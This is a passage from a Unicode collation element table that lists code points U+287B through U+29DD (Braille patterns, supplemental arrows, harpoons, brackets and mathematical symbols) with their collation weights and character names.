DOTS-24567 -287B ; [*0E17.0020.0002] # BRAILLE PATTERN DOTS-124567 -287C ; [*0E18.0020.0002] # BRAILLE PATTERN DOTS-34567 -287D ; [*0E19.0020.0002] # BRAILLE PATTERN DOTS-134567 -287E ; [*0E1A.0020.0002] # BRAILLE PATTERN DOTS-234567 -287F ; [*0E1B.0020.0002] # BRAILLE PATTERN DOTS-1234567 -2880 ; [*0E1C.0020.0002] # BRAILLE PATTERN DOTS-8 -2881 ; [*0E1D.0020.0002] # BRAILLE PATTERN DOTS-18 -2882 ; [*0E1E.0020.0002] # BRAILLE PATTERN DOTS-28 -2883 ; [*0E1F.0020.0002] # BRAILLE PATTERN DOTS-128 -2884 ; [*0E20.0020.0002] # BRAILLE PATTERN DOTS-38 -2885 ; [*0E21.0020.0002] # BRAILLE PATTERN DOTS-138 -2886 ; [*0E22.0020.0002] # BRAILLE PATTERN DOTS-238 -2887 ; [*0E23.0020.0002] # BRAILLE PATTERN DOTS-1238 -2888 ; [*0E24.0020.0002] # BRAILLE PATTERN DOTS-48 -2889 ; [*0E25.0020.0002] # BRAILLE PATTERN DOTS-148 -288A ; [*0E26.0020.0002] # BRAILLE PATTERN DOTS-248 -288B ; [*0E27.0020.0002] # BRAILLE PATTERN DOTS-1248 -288C ; [*0E28.0020.0002] # BRAILLE PATTERN DOTS-348 -288D ; [*0E29.0020.0002] # BRAILLE PATTERN DOTS-1348 -288E ; [*0E2A.0020.0002] # BRAILLE PATTERN DOTS-2348 -288F ; [*0E2B.0020.0002] # BRAILLE PATTERN DOTS-12348 -2890 ; [*0E2C.0020.0002] # BRAILLE PATTERN DOTS-58 -2891 ; [*0E2D.0020.0002] # BRAILLE PATTERN DOTS-158 -2892 ; [*0E2E.0020.0002] # BRAILLE PATTERN DOTS-258 -2893 ; [*0E2F.0020.0002] # BRAILLE PATTERN DOTS-1258 -2894 ; [*0E30.0020.0002] # BRAILLE PATTERN DOTS-358 -2895 ; [*0E31.0020.0002] # BRAILLE PATTERN DOTS-1358 -2896 ; [*0E32.0020.0002] # BRAILLE PATTERN DOTS-2358 -2897 ; [*0E33.0020.0002] # BRAILLE PATTERN DOTS-12358 -2898 ; [*0E34.0020.0002] # BRAILLE PATTERN DOTS-458 -2899 ; [*0E35.0020.0002] # BRAILLE PATTERN DOTS-1458 -289A ; [*0E36.0020.0002] # BRAILLE PATTERN DOTS-2458 -289B ; [*0E37.0020.0002] # BRAILLE PATTERN DOTS-12458 -289C ; [*0E38.0020.0002] # BRAILLE PATTERN DOTS-3458 -289D ; [*0E39.0020.0002] # BRAILLE PATTERN DOTS-13458 -289E ; [*0E3A.0020.0002] # BRAILLE PATTERN DOTS-23458 -289F ; [*0E3B.0020.0002] # BRAILLE PATTERN DOTS-123458 -28A0 ; [*0E3C.0020.0002] # BRAILLE PATTERN DOTS-68 -28A1 ; [*0E3D.0020.0002] # BRAILLE PATTERN DOTS-168 -28A2 ; [*0E3E.0020.0002] # BRAILLE PATTERN DOTS-268 -28A3 ; [*0E3F.0020.0002] # BRAILLE PATTERN DOTS-1268 -28A4 ; [*0E40.0020.0002] # BRAILLE PATTERN DOTS-368 -28A5 ; [*0E41.0020.0002] # BRAILLE PATTERN DOTS-1368 -28A6 ; [*0E42.0020.0002] # BRAILLE PATTERN DOTS-2368 -28A7 ; [*0E43.0020.0002] # BRAILLE PATTERN DOTS-12368 -28A8 ; [*0E44.0020.0002] # BRAILLE PATTERN DOTS-468 -28A9 ; [*0E45.0020.0002] # BRAILLE PATTERN DOTS-1468 -28AA ; [*0E46.0020.0002] # BRAILLE PATTERN DOTS-2468 -28AB ; [*0E47.0020.0002] # BRAILLE PATTERN DOTS-12468 -28AC ; [*0E48.0020.0002] # BRAILLE PATTERN DOTS-3468 -28AD ; [*0E49.0020.0002] # BRAILLE PATTERN DOTS-13468 -28AE ; [*0E4A.0020.0002] # BRAILLE PATTERN DOTS-23468 -28AF ; [*0E4B.0020.0002] # BRAILLE PATTERN DOTS-123468 -28B0 ; [*0E4C.0020.0002] # BRAILLE PATTERN DOTS-568 -28B1 ; [*0E4D.0020.0002] # BRAILLE PATTERN DOTS-1568 -28B2 ; [*0E4E.0020.0002] # BRAILLE PATTERN DOTS-2568 -28B3 ; [*0E4F.0020.0002] # BRAILLE PATTERN DOTS-12568 -28B4 ; [*0E50.0020.0002] # BRAILLE PATTERN DOTS-3568 -28B5 ; [*0E51.0020.0002] # BRAILLE PATTERN DOTS-13568 -28B6 ; [*0E52.0020.0002] # BRAILLE PATTERN DOTS-23568 -28B7 ; [*0E53.0020.0002] # BRAILLE PATTERN DOTS-123568 -28B8 ; [*0E54.0020.0002] # BRAILLE PATTERN DOTS-4568 -28B9 ; [*0E55.0020.0002] # BRAILLE PATTERN DOTS-14568 -28BA ; [*0E56.0020.0002] # BRAILLE PATTERN DOTS-24568 -28BB ; [*0E57.0020.0002] # BRAILLE PATTERN DOTS-124568 -28BC ; [*0E58.0020.0002] # BRAILLE PATTERN DOTS-34568 -28BD ; [*0E59.0020.0002] # BRAILLE PATTERN DOTS-134568 -28BE ; [*0E5A.0020.0002] # BRAILLE PATTERN DOTS-234568 -28BF ; [*0E5B.0020.0002] # BRAILLE PATTERN DOTS-1234568 -28C0 ; [*0E5C.0020.0002] # BRAILLE PATTERN DOTS-78 -28C1 ; [*0E5D.0020.0002] # BRAILLE PATTERN DOTS-178 -28C2 ; [*0E5E.0020.0002] # BRAILLE PATTERN DOTS-278 -28C3 ; [*0E5F.0020.0002] # BRAILLE PATTERN DOTS-1278 -28C4 ; [*0E60.0020.0002] # BRAILLE PATTERN DOTS-378 -28C5 ; [*0E61.0020.0002] # BRAILLE PATTERN DOTS-1378 -28C6 ; [*0E62.0020.0002] # BRAILLE PATTERN DOTS-2378 -28C7 ; [*0E63.0020.0002] # BRAILLE PATTERN DOTS-12378 -28C8 ; [*0E64.0020.0002] # BRAILLE PATTERN DOTS-478 -28C9 ; [*0E65.0020.0002] # BRAILLE PATTERN DOTS-1478 -28CA ; [*0E66.0020.0002] # BRAILLE PATTERN DOTS-2478 -28CB ; [*0E67.0020.0002] # BRAILLE PATTERN DOTS-12478 -28CC ; [*0E68.0020.0002] # BRAILLE PATTERN DOTS-3478 -28CD ; [*0E69.0020.0002] # BRAILLE PATTERN DOTS-13478 -28CE ; [*0E6A.0020.0002] # BRAILLE PATTERN DOTS-23478 -28CF ; [*0E6B.0020.0002] # BRAILLE PATTERN DOTS-123478 -28D0 ; [*0E6C.0020.0002] # BRAILLE PATTERN DOTS-578 -28D1 ; [*0E6D.0020.0002] # BRAILLE PATTERN DOTS-1578 -28D2 ; [*0E6E.0020.0002] # BRAILLE PATTERN DOTS-2578 -28D3 ; [*0E6F.0020.0002] # BRAILLE PATTERN DOTS-12578 -28D4 ; [*0E70.0020.0002] # BRAILLE PATTERN DOTS-3578 -28D5 ; [*0E71.0020.0002] # BRAILLE PATTERN DOTS-13578 -28D6 ; [*0E72.0020.0002] # BRAILLE PATTERN DOTS-23578 -28D7 ; [*0E73.0020.0002] # BRAILLE PATTERN DOTS-123578 -28D8 ; [*0E74.0020.0002] # BRAILLE PATTERN DOTS-4578 -28D9 ; [*0E75.0020.0002] # BRAILLE PATTERN DOTS-14578 -28DA ; [*0E76.0020.0002] # BRAILLE PATTERN DOTS-24578 -28DB ; [*0E77.0020.0002] # BRAILLE PATTERN DOTS-124578 -28DC ; [*0E78.0020.0002] # BRAILLE PATTERN DOTS-34578 -28DD ; [*0E79.0020.0002] # BRAILLE PATTERN DOTS-134578 -28DE ; [*0E7A.0020.0002] # BRAILLE PATTERN DOTS-234578 -28DF ; [*0E7B.0020.0002] # BRAILLE PATTERN DOTS-1234578 -28E0 ; [*0E7C.0020.0002] # BRAILLE PATTERN DOTS-678 -28E1 ; [*0E7D.0020.0002] # BRAILLE PATTERN DOTS-1678 -28E2 ; [*0E7E.0020.0002] # BRAILLE PATTERN DOTS-2678 -28E3 ; [*0E7F.0020.0002] # BRAILLE PATTERN DOTS-12678 -28E4 ; [*0E80.0020.0002] # BRAILLE PATTERN DOTS-3678 -28E5 ; [*0E81.0020.0002] # BRAILLE PATTERN DOTS-13678 -28E6 ; [*0E82.0020.0002] # BRAILLE PATTERN DOTS-23678 -28E7 ; [*0E83.0020.0002] # BRAILLE PATTERN DOTS-123678 -28E8 ; [*0E84.0020.0002] # BRAILLE PATTERN DOTS-4678 -28E9 ; [*0E85.0020.0002] # BRAILLE PATTERN DOTS-14678 -28EA ; [*0E86.0020.0002] # BRAILLE PATTERN DOTS-24678 -28EB ; [*0E87.0020.0002] # BRAILLE PATTERN DOTS-124678 -28EC ; [*0E88.0020.0002] # BRAILLE PATTERN DOTS-34678 -28ED ; [*0E89.0020.0002] # BRAILLE PATTERN DOTS-134678 -28EE ; [*0E8A.0020.0002] # BRAILLE PATTERN DOTS-234678 -28EF ; [*0E8B.0020.0002] # BRAILLE PATTERN DOTS-1234678 -28F0 ; [*0E8C.0020.0002] # BRAILLE PATTERN DOTS-5678 -28F1 ; [*0E8D.0020.0002] # BRAILLE PATTERN DOTS-15678 -28F2 ; [*0E8E.0020.0002] # BRAILLE PATTERN DOTS-25678 -28F3 ; [*0E8F.0020.0002] # BRAILLE PATTERN DOTS-125678 -28F4 ; [*0E90.0020.0002] # BRAILLE PATTERN DOTS-35678 -28F5 ; [*0E91.0020.0002] # BRAILLE PATTERN DOTS-135678 -28F6 ; [*0E92.0020.0002] # BRAILLE PATTERN DOTS-235678 -28F7 ; [*0E93.0020.0002] # BRAILLE PATTERN DOTS-1235678 -28F8 ; [*0E94.0020.0002] # BRAILLE PATTERN DOTS-45678 -28F9 ; [*0E95.0020.0002] # BRAILLE PATTERN DOTS-145678 -28FA ; [*0E96.0020.0002] # BRAILLE PATTERN DOTS-245678 -28FB ; [*0E97.0020.0002] # BRAILLE PATTERN DOTS-1245678 -28FC ; [*0E98.0020.0002] # BRAILLE PATTERN DOTS-345678 -28FD ; [*0E99.0020.0002] # BRAILLE PATTERN DOTS-1345678 -28FE ; [*0E9A.0020.0002] # BRAILLE PATTERN DOTS-2345678 -28FF ; [*0E9B.0020.0002] # BRAILLE PATTERN DOTS-12345678 -2900 ; [*0AE9.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE -2901 ; [*0AEA.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE -2902 ; [*0AEB.0020.0002] # LEFTWARDS DOUBLE ARROW WITH VERTICAL STROKE -2903 ; [*0AEC.0020.0002] # RIGHTWARDS DOUBLE ARROW WITH VERTICAL STROKE -2904 ; [*0AED.0020.0002] # LEFT RIGHT DOUBLE ARROW WITH VERTICAL STROKE -2905 ; [*0AEE.0020.0002] # RIGHTWARDS TWO-HEADED ARROW FROM BAR -2906 ; [*0AEF.0020.0002] # LEFTWARDS DOUBLE ARROW FROM BAR -2907 ; [*0AF0.0020.0002] # RIGHTWARDS DOUBLE ARROW FROM BAR -2908 ; [*0AF1.0020.0002] # DOWNWARDS ARROW WITH HORIZONTAL STROKE -2909 ; [*0AF2.0020.0002] # UPWARDS ARROW WITH HORIZONTAL STROKE -290A ; [*0AF3.0020.0002] # UPWARDS TRIPLE ARROW -290B ; [*0AF4.0020.0002] # DOWNWARDS TRIPLE ARROW -290C ; [*0AF5.0020.0002] # LEFTWARDS DOUBLE DASH ARROW -290D ; [*0AF6.0020.0002] # RIGHTWARDS DOUBLE DASH ARROW -290E ; [*0AF7.0020.0002] # LEFTWARDS TRIPLE DASH ARROW -290F ; [*0AF8.0020.0002] # RIGHTWARDS TRIPLE DASH ARROW -2910 ; [*0AF9.0020.0002] # RIGHTWARDS TWO-HEADED TRIPLE DASH ARROW -2911 ; [*0AFA.0020.0002] # RIGHTWARDS ARROW WITH DOTTED STEM -2912 ; [*0AFB.0020.0002] # UPWARDS ARROW TO BAR -2913 ; [*0AFC.0020.0002] # DOWNWARDS ARROW TO BAR -2914 ; [*0AFD.0020.0002] # RIGHTWARDS ARROW WITH TAIL WITH VERTICAL STROKE -2915 ; [*0AFE.0020.0002] # RIGHTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE -2916 ; [*0AFF.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL -2917 ; [*0B00.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE -2918 ; [*0B01.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE -2919 ; [*0B02.0020.0002] # LEFTWARDS ARROW-TAIL -291A ; [*0B03.0020.0002] # RIGHTWARDS ARROW-TAIL -291B ; [*0B04.0020.0002] # LEFTWARDS DOUBLE ARROW-TAIL -291C ; [*0B05.0020.0002] # RIGHTWARDS DOUBLE ARROW-TAIL -291D ; [*0B06.0020.0002] # LEFTWARDS ARROW TO BLACK DIAMOND -291E ; [*0B07.0020.0002] # RIGHTWARDS ARROW TO BLACK DIAMOND -291F ; [*0B08.0020.0002] # LEFTWARDS ARROW FROM BAR TO BLACK DIAMOND -2920 ; [*0B09.0020.0002] # RIGHTWARDS ARROW FROM BAR TO BLACK DIAMOND -2921 ; [*0B0A.0020.0002] # NORTH WEST AND SOUTH EAST ARROW -2922 ; [*0B0B.0020.0002] # NORTH EAST AND SOUTH WEST ARROW -2923 ; [*0B0C.0020.0002] # NORTH WEST ARROW WITH HOOK -2924 ; [*0B0D.0020.0002] # NORTH EAST ARROW WITH HOOK -2925 ; [*0B0E.0020.0002] # SOUTH EAST ARROW WITH HOOK -2926 ; [*0B0F.0020.0002] # SOUTH WEST ARROW WITH HOOK -2927 ; [*0B10.0020.0002] # NORTH WEST ARROW AND NORTH EAST ARROW -2928 ; [*0B11.0020.0002] # NORTH EAST ARROW AND SOUTH EAST ARROW -2929 ; [*0B12.0020.0002] # SOUTH EAST ARROW AND SOUTH WEST ARROW -292A ; [*0B13.0020.0002] # SOUTH WEST ARROW AND NORTH WEST ARROW -292B ; [*0B14.0020.0002] # RISING DIAGONAL CROSSING FALLING DIAGONAL -292C ; [*0B15.0020.0002] # FALLING DIAGONAL CROSSING RISING DIAGONAL -292D ; [*0B16.0020.0002] # SOUTH EAST ARROW CROSSING NORTH EAST ARROW -292E ; [*0B17.0020.0002] # NORTH EAST ARROW CROSSING SOUTH EAST ARROW -292F ; [*0B18.0020.0002] # FALLING DIAGONAL CROSSING NORTH EAST ARROW -2930 ; [*0B19.0020.0002] # RISING DIAGONAL CROSSING SOUTH EAST ARROW -2931 ; [*0B1A.0020.0002] # NORTH EAST ARROW CROSSING NORTH WEST ARROW -2932 ; [*0B1B.0020.0002] # NORTH WEST ARROW CROSSING NORTH EAST ARROW -2933 ; [*0B1C.0020.0002] # WAVE ARROW POINTING DIRECTLY RIGHT -2934 ; [*0B1D.0020.0002] # ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS -2935 ; [*0B1E.0020.0002] # ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS -2936 ; [*0B1F.0020.0002] # ARROW POINTING DOWNWARDS THEN CURVING LEFTWARDS -2937 ; [*0B20.0020.0002] # ARROW POINTING DOWNWARDS THEN CURVING RIGHTWARDS -2938 ; [*0B21.0020.0002] # RIGHT-SIDE ARC CLOCKWISE ARROW -2939 ; [*0B22.0020.0002] # LEFT-SIDE ARC ANTICLOCKWISE ARROW -293A ; [*0B23.0020.0002] # TOP ARC ANTICLOCKWISE ARROW -293B ; [*0B24.0020.0002] # BOTTOM ARC ANTICLOCKWISE ARROW -293C ; [*0B25.0020.0002] # TOP ARC CLOCKWISE ARROW WITH MINUS -293D ; [*0B26.0020.0002] # TOP ARC ANTICLOCKWISE ARROW WITH PLUS -293E ; [*0B27.0020.0002] # LOWER RIGHT SEMICIRCULAR CLOCKWISE ARROW -293F ; [*0B28.0020.0002] # LOWER LEFT SEMICIRCULAR ANTICLOCKWISE ARROW -2940 ; [*0B29.0020.0002] # ANTICLOCKWISE CLOSED CIRCLE ARROW -2941 ; [*0B2A.0020.0002] # CLOCKWISE CLOSED CIRCLE ARROW -2942 ; [*0B2B.0020.0002] # RIGHTWARDS ARROW ABOVE SHORT LEFTWARDS ARROW -2943 ; [*0B2C.0020.0002] # LEFTWARDS ARROW ABOVE SHORT RIGHTWARDS ARROW -2944 ; [*0B2D.0020.0002] # SHORT RIGHTWARDS ARROW ABOVE LEFTWARDS ARROW -2945 ; [*0B2E.0020.0002] # RIGHTWARDS ARROW WITH PLUS BELOW -2946 ; [*0B2F.0020.0002] # LEFTWARDS ARROW WITH PLUS BELOW -2947 ; [*0B30.0020.0002] # RIGHTWARDS ARROW THROUGH X -2948 ; [*0B31.0020.0002] # LEFT RIGHT ARROW THROUGH SMALL CIRCLE -2949 ; [*0B32.0020.0002] # UPWARDS TWO-HEADED ARROW FROM SMALL CIRCLE -294A ; [*0B33.0020.0002] # LEFT BARB UP RIGHT BARB DOWN HARPOON -294B ; [*0B34.0020.0002] # LEFT BARB DOWN RIGHT BARB UP HARPOON -294C ; [*0B35.0020.0002] # UP BARB RIGHT DOWN BARB LEFT HARPOON -294D ; [*0B36.0020.0002] # UP BARB LEFT DOWN BARB RIGHT HARPOON -294E ; [*0B37.0020.0002] # LEFT BARB UP RIGHT BARB UP HARPOON -294F ; [*0B38.0020.0002] # UP BARB RIGHT DOWN BARB RIGHT HARPOON -2950 ; [*0B39.0020.0002] # LEFT BARB DOWN RIGHT BARB DOWN HARPOON -2951 ; [*0B3A.0020.0002] # UP BARB LEFT DOWN BARB LEFT HARPOON -2952 ; [*0B3B.0020.0002] # LEFTWARDS HARPOON WITH BARB UP TO BAR -2953 ; [*0B3C.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP TO BAR -2954 ; [*0B3D.0020.0002] # UPWARDS HARPOON WITH BARB RIGHT TO BAR -2955 ; [*0B3E.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHT TO BAR -2956 ; [*0B3F.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN TO BAR -2957 ; [*0B40.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN TO BAR -2958 ; [*0B41.0020.0002] # UPWARDS HARPOON WITH BARB LEFT TO BAR -2959 ; [*0B42.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT TO BAR -295A ; [*0B43.0020.0002] # LEFTWARDS HARPOON WITH BARB UP FROM BAR -295B ; [*0B44.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP FROM BAR -295C ; [*0B45.0020.0002] # UPWARDS HARPOON WITH BARB RIGHT FROM BAR -295D ; [*0B46.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHT FROM BAR -295E ; [*0B47.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN FROM BAR -295F ; [*0B48.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN FROM BAR -2960 ; [*0B49.0020.0002] # UPWARDS HARPOON WITH BARB LEFT FROM BAR -2961 ; [*0B4A.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT FROM BAR -2962 ; [*0B4B.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB DOWN -2963 ; [*0B4C.0020.0002] # UPWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT -2964 ; [*0B4D.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB DOWN -2965 ; [*0B4E.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT -2966 ; [*0B4F.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB UP -2967 ; [*0B50.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN ABOVE RIGHTWARDS HARPOON WITH BARB DOWN -2968 ; [*0B51.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB UP -2969 ; [*0B52.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN ABOVE LEFTWARDS HARPOON WITH BARB DOWN -296A ; [*0B53.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE LONG DASH -296B ; [*0B54.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH -296C ; [*0B55.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE LONG DASH -296D ; [*0B56.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH -296E ; [*0B57.0020.0002] # UPWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT -296F ; [*0B58.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT -2970 ; [*0B59.0020.0002] # RIGHT DOUBLE ARROW WITH ROUNDED HEAD -2971 ; [*0B5A.0020.0002] # EQUALS SIGN ABOVE RIGHTWARDS ARROW -2972 ; [*0B5B.0020.0002] # TILDE OPERATOR ABOVE RIGHTWARDS ARROW -2973 ; [*0B5C.0020.0002] # LEFTWARDS ARROW ABOVE TILDE OPERATOR -2974 ; [*0B5D.0020.0002] # RIGHTWARDS ARROW ABOVE TILDE OPERATOR -2975 ; [*0B5E.0020.0002] # RIGHTWARDS ARROW ABOVE ALMOST EQUAL TO -2976 ; [*0B5F.0020.0002] # LESS-THAN ABOVE LEFTWARDS ARROW -2977 ; [*0B60.0020.0002] # LEFTWARDS ARROW THROUGH LESS-THAN -2978 ; [*0B61.0020.0002] # GREATER-THAN ABOVE RIGHTWARDS ARROW -2979 ; [*0B62.0020.0002] # SUBSET ABOVE RIGHTWARDS ARROW -297A ; [*0B63.0020.0002] # LEFTWARDS ARROW THROUGH SUBSET -297B ; [*0B64.0020.0002] # SUPERSET ABOVE LEFTWARDS ARROW -297C ; [*0B65.0020.0002] # LEFT FISH TAIL -297D ; [*0B66.0020.0002] # RIGHT FISH TAIL -297E ; [*0B67.0020.0002] # UP FISH TAIL -297F ; [*0B68.0020.0002] # DOWN FISH TAIL -2980 ; [*0B69.0020.0002] # TRIPLE VERTICAL BAR DELIMITER -2981 ; [*0B6A.0020.0002] # Z NOTATION SPOT -2982 ; [*0B6B.0020.0002] # Z NOTATION TYPE COLON -2983 ; [*032B.0020.0002] # LEFT WHITE CURLY BRACKET -2984 ; [*032C.0020.0002] # RIGHT WHITE CURLY BRACKET -2985 ; [*032D.0020.0002] # LEFT WHITE PARENTHESIS -2986 ; [*032E.0020.0002] # RIGHT WHITE PARENTHESIS -2987 ; [*032F.0020.0002] # Z NOTATION LEFT IMAGE BRACKET -2988 ; [*0330.0020.0002] # Z NOTATION RIGHT IMAGE BRACKET -2989 ; [*0331.0020.0002] # Z NOTATION LEFT BINDING BRACKET -298A ; [*0332.0020.0002] # Z NOTATION RIGHT BINDING BRACKET -298B ; [*0333.0020.0002] # LEFT SQUARE BRACKET WITH UNDERBAR -298C ; [*0334.0020.0002] # RIGHT SQUARE BRACKET WITH UNDERBAR -298D ; [*0335.0020.0002] # LEFT SQUARE BRACKET WITH TICK IN TOP CORNER -298E ; [*0336.0020.0002] # RIGHT SQUARE BRACKET WITH TICK IN BOTTOM CORNER -298F ; [*0337.0020.0002] # LEFT SQUARE BRACKET WITH TICK IN BOTTOM CORNER -2990 ; [*0338.0020.0002] # RIGHT SQUARE BRACKET WITH TICK IN TOP CORNER -2991 ; [*0339.0020.0002] # LEFT ANGLE BRACKET WITH DOT -2992 ; [*033A.0020.0002] # RIGHT ANGLE BRACKET WITH DOT -2993 ; [*033B.0020.0002] # LEFT ARC LESS-THAN BRACKET -2994 ; [*033C.0020.0002] # RIGHT ARC GREATER-THAN BRACKET -2995 ; [*033D.0020.0002] # DOUBLE LEFT ARC GREATER-THAN BRACKET -2996 ; [*033E.0020.0002] # DOUBLE RIGHT ARC LESS-THAN BRACKET -2997 ; [*033F.0020.0002] # LEFT BLACK TORTOISE SHELL BRACKET -2998 ; [*0340.0020.0002] # RIGHT BLACK TORTOISE SHELL BRACKET -2999 ; [*0B6C.0020.0002] # DOTTED FENCE -299A ; [*0B6D.0020.0002] # VERTICAL ZIGZAG LINE -299B ; [*0B6E.0020.0002] # MEASURED ANGLE OPENING LEFT -299C ; [*0B6F.0020.0002] # RIGHT ANGLE VARIANT WITH SQUARE -299D ; [*0B70.0020.0002] # MEASURED RIGHT ANGLE WITH DOT -299E ; [*0B71.0020.0002] # ANGLE WITH S INSIDE -299F ; [*0B72.0020.0002] # ACUTE ANGLE -29A0 ; [*0B73.0020.0002] # SPHERICAL ANGLE OPENING LEFT -29A1 ; [*0B74.0020.0002] # SPHERICAL ANGLE OPENING UP -29A2 ; [*0B75.0020.0002] # TURNED ANGLE -29A3 ; [*0B76.0020.0002] # REVERSED ANGLE -29A4 ; [*0B77.0020.0002] # ANGLE WITH UNDERBAR -29A5 ; [*0B78.0020.0002] # REVERSED ANGLE WITH UNDERBAR -29A6 ; [*0B79.0020.0002] # OBLIQUE ANGLE OPENING UP -29A7 ; [*0B7A.0020.0002] # OBLIQUE ANGLE OPENING DOWN -29A8 ; [*0B7B.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND RIGHT -29A9 ; [*0B7C.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND LEFT -29AA ; [*0B7D.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND RIGHT -29AB ; [*0B7E.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND LEFT -29AC ; [*0B7F.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND UP -29AD ; [*0B80.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND UP -29AE ; [*0B81.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND DOWN -29AF ; [*0B82.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND DOWN -29B0 ; [*0B83.0020.0002] # REVERSED EMPTY SET -29B1 ; [*0B84.0020.0002] # EMPTY SET WITH OVERBAR -29B2 ; [*0B85.0020.0002] # EMPTY SET WITH SMALL CIRCLE ABOVE -29B3 ; [*0B86.0020.0002] # EMPTY SET WITH RIGHT ARROW ABOVE -29B4 ; [*0B87.0020.0002] # EMPTY SET WITH LEFT ARROW ABOVE -29B5 ; [*0B88.0020.0002] # CIRCLE WITH HORIZONTAL BAR -29B6 ; [*0B89.0020.0002] # CIRCLED VERTICAL BAR -29B7 ; [*0B8A.0020.0002] # CIRCLED PARALLEL -29B8 ; [*0B8B.0020.0002] # CIRCLED REVERSE SOLIDUS -29B9 ; [*0B8C.0020.0002] # CIRCLED PERPENDICULAR -29BA ; [*0B8D.0020.0002] # CIRCLE DIVIDED BY HORIZONTAL BAR AND TOP HALF DIVIDED BY VERTICAL BAR -29BB ; [*0B8E.0020.0002] # CIRCLE WITH SUPERIMPOSED X -29BC ; [*0B8F.0020.0002] # CIRCLED ANTICLOCKWISE-ROTATED DIVISION SIGN -29BD ; [*0B90.0020.0002] # UP ARROW THROUGH CIRCLE -29BE ; [*0B91.0020.0002] # CIRCLED WHITE BULLET -29BF ; [*0B92.0020.0002] # CIRCLED BULLET -29C0 ; [*0B93.0020.0002] # CIRCLED LESS-THAN -29C1 ; [*0B94.0020.0002] # CIRCLED GREATER-THAN -29C2 ; [*0B95.0020.0002] # CIRCLE WITH SMALL CIRCLE TO THE RIGHT -29C3 ; [*0B96.0020.0002] # CIRCLE WITH TWO HORIZONTAL STROKES TO THE RIGHT -29C4 ; [*0B97.0020.0002] # SQUARED RISING DIAGONAL SLASH -29C5 ; [*0B98.0020.0002] # SQUARED FALLING DIAGONAL SLASH -29C6 ; [*0B99.0020.0002] # SQUARED ASTERISK -29C7 ; [*0B9A.0020.0002] # SQUARED SMALL CIRCLE -29C8 ; [*0B9B.0020.0002] # SQUARED SQUARE -29C9 ; [*0B9C.0020.0002] # TWO JOINED SQUARES -29CA ; [*0B9D.0020.0002] # TRIANGLE WITH DOT ABOVE -29CB ; [*0B9E.0020.0002] # TRIANGLE WITH UNDERBAR -29CC ; [*0B9F.0020.0002] # S IN TRIANGLE -29CD ; [*0BA0.0020.0002] # TRIANGLE WITH SERIFS AT BOTTOM -29CE ; [*0BA1.0020.0002] # RIGHT TRIANGLE ABOVE LEFT TRIANGLE -29CF ; [*0BA2.0020.0002] # LEFT TRIANGLE BESIDE VERTICAL BAR -29D0 ; [*0BA3.0020.0002] # VERTICAL BAR BESIDE RIGHT TRIANGLE -29D1 ; [*0BA4.0020.0002] # BOWTIE WITH LEFT HALF BLACK -29D2 ; [*0BA5.0020.0002] # BOWTIE WITH RIGHT HALF BLACK -29D3 ; [*0BA6.0020.0002] # BLACK BOWTIE -29D4 ; [*0BA7.0020.0002] # TIMES WITH LEFT HALF BLACK -29D5 ; [*0BA8.0020.0002] # TIMES WITH RIGHT HALF BLACK -29D6 ; [*0BA9.0020.0002] # WHITE HOURGLASS -29D7 ; [*0BAA.0020.0002] # BLACK HOURGLASS -29D8 ; [*0385.0020.0002] # LEFT WIGGLY FENCE -29D9 ; [*0386.0020.0002] # RIGHT WIGGLY FENCE -29DA ; [*0387.0020.0002] # LEFT DOUBLE WIGGLY FENCE -29DB ; [*0388.0020.0002] # RIGHT DOUBLE WIGGLY FENCE -29DC ; [*0BAB.0020.0002] # INCOMPLETE INFINITY -29DD ; [*0BAC.0020.0002] # TIE OVER INFINITY -29DE ; 